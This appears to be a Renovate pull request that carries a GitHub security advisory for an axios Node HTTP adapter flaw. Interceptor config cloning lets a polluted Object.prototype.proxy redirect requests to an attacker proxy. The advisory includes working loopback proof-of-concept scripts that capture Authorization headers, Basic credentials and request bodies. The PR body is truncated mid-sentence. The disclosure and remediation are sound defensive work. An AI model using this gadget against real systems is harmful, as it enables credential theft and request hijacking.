This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning

GHSA-gcfj-64vw-6mp9

More information

Details

Summary

Axios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when Object.prototype.proxy is polluted and request configuration is materialized as a regular object before dispatch.

Recent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain.

Impact

In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy.

The highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit Authorization headers, axios-generated Basic auth from config.auth, request method, absolute URL, Host, and request body content. The proxy can also return its own response to axios for the affected request.

This does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation.

Affected Functionality

Affected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit adapter: 'http' usage.

The relevant configuration path is config.proxy in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as:

api.interceptors.request.use((config) => ({
  ...config,
  headers: {
    ...config.headers,
    'X-App': 'demo'
  }
}));

Unaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted Object.prototype.proxy, an own proxy: false or safe own proxy value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone.

Technical Details

lib/core/mergeConfig.js creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted Object.prototype values from affecting config behavior.

lib/core/Axios.js runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch.

lib/core/dispatchRequest.js accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config.

lib/adapters/http.js uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes config.proxy directly into setProxy(). If an interceptor returned a regular object, config.proxy can resolve to inherited Object.prototype.proxy.

Proof of Concept of Attack
import axios from './index.js';
import http from 'node:http';

for (const key of [
  'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',
  'http_proxy', 'https_proxy', 'all_proxy',
  'NO_PROXY', 'no_proxy'
]) {
  delete process.env[key];
}

const listen = (handler) => new Promise((resolve, reject) => {
  const server = http.createServer(handler);
  server.once('error', reject);
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const close = (server) => new Promise((resolve) => server.close(resolve));

const targetHits = [];
const proxyHits = [];

const target = await listen((req, res) => {
  targetHits.push(req.url);
  res.end('target');
});

const proxy = await listen((req, res) => {
  let body = '';
  req.on('data', (chunk) => body += chunk);
  req.on('end', () => {
    proxyHits.push({
      url: req.url,
      authorization: req.headers.authorization,
      host: req.headers.host,
      body
    });
    res.setHeader('content-type', 'application/json');
    res.end('{"server":"proxy"}');
  });
});

Object.prototype.proxy = {
  protocol: 'http',
  host: '127.0.0.1',
  port: proxy.address().port
};

const api = axios.create();

api.interceptors.request.use((config) => ({
  ...config,
  headers: {
    ...config.headers,
    'X-App': 'demo'
  }
}));

try {
  const url = `http://127.0.0.1:${target.address().port}/api/secret`;

  const res = await api.post(
    url,
    {secret: 'request-body-secret'},
    {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}}
  );

  console.log({
    response: res.data,
    targetHits,
    proxyHits,
    finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy')
  });
} finally {
  delete Object.prototype.proxy;
  await close(target);
  await close(proxy);
}

Expected vulnerable result: the response comes from the proxy, targetHits is empty, and proxyHits contains the absolute URL, authorization header, host header, and request body.

Workarounds

Set an own proxy: false on affected requests or on an axios instance when proxy support is not required.

Avoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix.

Use the Node fetch adapter for affected requests where its behavior is compatible with the application.

Original Report
Summary

Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable
interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy
is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy.

Impact

In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a
request interceptor that returns a plain object copy of the config.

Verified local impact:

  • Authenticated request redirection to attacker-controlled proxy.
  • Disclosure of explicit Authorization headers.
  • Disclosure of axios-generated Basic auth headers from config.auth.
  • Disclosure of request metadata: method, absolute URL, Host header.
  • Disclosure of POST body content.

This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext.

Affected component

The affected component is the Node.js HTTP adapter request path after request interceptors have run.

The issue requires:

  • Node.js HTTP adapter usage.
  • A polluted Object.prototype.proxy.
  • A request interceptor that returns a plain object copy of the config.
  • No own proxy: false or safe own proxy property on the request config.

Affected versions

Confirmed affected for this specific hardening-bypass variant:

  • axios@1.15.2
  • axios@1.16.0

axios@1.16.0 was the latest published version observed via npm view axios version during validation.

Related older behavior observed during testing:

  • 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here.

Root cause

  1. Initial hardening

    Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior.
    Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25

  2. Interceptor re-materialization

    Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null-
    prototype config back into a normal object with Object.prototype as its prototype.
    Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218

  3. No post-interceptor re-hardening

    Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure.
    Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48

  4. Prototype-chain read of proxy in the Node adapter

    The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can
    redirect the outgoing authenticated request through an attacker-controlled proxy.
    Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820

Why this is a security issue and not intended behavior

Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The
existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy.

This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an
immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency.

Realistic threat model

A realistic exploit chain is:

  1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process.
  2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy.
  3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably.
  4. The application sends an HTTP request with credentials or sensitive body data.
  5. Axios routes that request through the inherited proxy configuration.

This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor.

Proof of concept

Save as poc.mjs in the axios repository root:

  import axios from './index.js';
  import http from 'node:http';

  const proxyEnvKeys = [
    'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',
    'http_proxy', 'https_proxy', 'all_proxy',
    'NO_PROXY', 'no_proxy'
  ];

  for (const key of proxyEnvKeys) delete process.env[key];

  const listen = (handler) => new Promise((resolve, reject) => {
    const server = http.createServer(handler);
    server.once('error', reject);
    server.listen(0, '127.0.0.1', () => resolve(server));
  });

  const close = (server) => new Promise((resolve) => server.close(resolve));

  const targetHits = [];
  const proxyHits = [];

  const target = await listen((req, res) => {
    let body = '';
    req.on('data', (chunk) => body += chunk);
    req.on('end', () => {
      targetHits.push({
        url: req.url,
        method: req.method,
        authorization: req.headers.authorization || null,
        body
      });
      res.writeHead(200, {'Content-Type': 'application/json'});
      res.end(JSON.stringify({server: 'target'}));
    });
  });

  const proxy = await listen((req, res) => {
    let body = '';
    req.on('data', (chunk) => body += chunk);
    req.on('end', () => {
      proxyHits.push({
        url: req.url,
        method: req.method,
        authorization: req.headers.authorization || null,
        host: req.headers.host || null,
        body
      });
      res.writeHead(200, {'Content-Type': 'application/json'});
      res.end(JSON.stringify({server: 'proxy'}));
    });
  });

  Object.prototype.proxy = {
    protocol: 'http',
    host: '127.0.0.1',
    port: proxy.address().port
  };

  const api = axios.create();

  api.interceptors.request.use((config) => ({
    ...config,
    headers: {
      ...config.headers,
      'X-App': 'demo'
    }
  }));

  try {
    const url = `http://127.0.0.1:${target.address().port}/api/secret`;

    const explicit = await api.get(url, {
      headers: {Authorization: 'Bearer EXPLICIT_SECRET'}
    });

    proxyHits.length = 0;
    targetHits.length = 0;

    const basic = await api.get(url, {
      auth: {username: 'svc-account', password: 'prod-secret'}
    });

    proxyHits.length = 0;
    targetHits.length = 0;

    const post = await api.post(url, {secret: 'request-body-secret'}, {
      headers: {Authorization: 'Bearer EXPLICIT_SECRET'}
    });

    console.log(JSON.stringify({
      explicitResponse: explicit.data,
      basicResponse: basic.data,
      postResponse: post.data,
      targetHits,
      proxyHits,
      finalConfigPrototype:
        Object.getPrototypeOf(post.config) === Object.prototype
          ? 'Object.prototype'
          : 'other',
      finalConfigHasOwnProxy:
        Object.prototype.hasOwnProperty.call(post.config, 'proxy')
    }, null, 2));
  } finally {
    delete Object.prototype.proxy;
    await close(target);
    await close(proxy);
  }

Run:

  npm ci
  node poc.mjs

Observed results

Representative observed output from local loopback testing:


  {
    "explicitResponse": {"server": "proxy"},
    "basicResponse": {"server": "proxy"},
    "postResponse": {"server": "proxy"},
    "targetHits": [],
    "proxyHits": [
      {
        "url": "http://127.0.0.1:40613/api/secret",
        "method": "POST",
        "authorization": "Bearer EXPLICIT_SECRET",
        "host": "127.0.0.1:40613",
        "body": "{\"secret\":\"request-body-secret\"}"
      }
    ],
    "finalConfigPrototype": "Object.prototype",
    "finalConfigHasOwnProxy": false
  }

  Additional validation showed axios-generated Basic auth is also disclosed to the proxy:

  {
    "authorization": "Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ="
  }

That value decodes to:

svc-account:prod-secret

Negative controls were also tested:

  • No interceptor: target receives request, proxy receives none.
  • Interceptor mutating and returning the same config object: proxy receives none.
  • Own proxy: false: proxy receives none.
  • Null-prototype clone interceptor: proxy receives none.
  • Fetch adapter in Node with the same interceptor: proxy receives none.

Suggested remediation

Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths.

A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should
also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain.

Minimal regression test

Add an end-to-end Node HTTP adapter test that:

  1. Starts a target server and attacker proxy on 127.0.0.1.
  2. Sets Object.prototype.proxy to the attacker proxy.
  3. Adds a request interceptor returning {...config, headers: {...config.headers}}.
  4. Sends a request with an Authorization header.
  5. Asse

Note

PR body was truncated to here.

@renovate
renovate Bot requested a review from a team as a code owner July 21, 2026 00:04
@renovate
renovate Bot requested a review from soleksy-splunk July 21, 2026 00:04
@renovate
renovate Bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 4e1d723 to 07acd84 Compare July 23, 2026 14:18
@renovate
renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 07acd84 to b764667 Compare July 23, 2026 14:23
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants